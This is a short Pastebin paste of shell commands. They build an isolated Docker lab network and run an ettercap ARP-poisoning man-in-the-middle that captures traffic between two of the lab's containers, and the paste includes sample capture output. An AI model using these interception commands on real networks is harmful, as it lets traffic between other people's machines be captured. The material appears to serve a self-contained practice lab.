Guest User

Untitled

a guest
Jun 22nd, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.03 KB | None | 0 0
  1. # the isolated network
  2. docker network create --subnet=172.19.0.0/24 --gateway 172.19.0.254 mynet123
  3.  
  4. docker run --rm -it --net mynet123 --ip=172.19.0.7 --privileged kali/wireless:ettercap bash
  5.  
  6. docker run --rm -d -u=1000:1000 --net mynet123 --ip=172.19.0.4 -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY=unix$DISPLAY -v $HOME/EmptyDir:/data -v /dev/shm:/dev/shm --cap-add=SYS_ADMIN image/chrome:latest
  7.  
  8. docker run --rm -d --net mynet123 --ip=172.19.0.5 image/markdown:latest
  9.  
  10. # First, some settings for forwarding
  11. sysctl -w net.ipv4.ip_forward=1
  12. sysctl -w net.ipv6.conf.all.forwarding=1
  13. sysctl -w net.ipv4.conf.all.send_redirects=0
  14. iptables -A FORWARD -i eth0@if16 -o eth0@if16 -j ACCEPT
  15.  
  16. # launch mitm to capture anything between the other 2 containers:
  17. ettercap -T -M arp:remote -i eth0 /172.19.0.5// /172.19.0.4//
  18.  
  19. Tue Jun 19 16:19:22 2018 [463117]
  20. TCP 172.19.0.4:51840 --> 172.19.0.5:80 | S (0)
  21.  
  22.  
  23. Tue Jun 19 16:19:22 2018 [463119]
  24. TCP 172.19.0.4:51842 --> 172.19.0.5:80 | S (0)
  25.  
  26. ... and so on....
  27.  
  28. python -m SimpleHTTPServer 80
Add Comment
Please, Sign In to add comment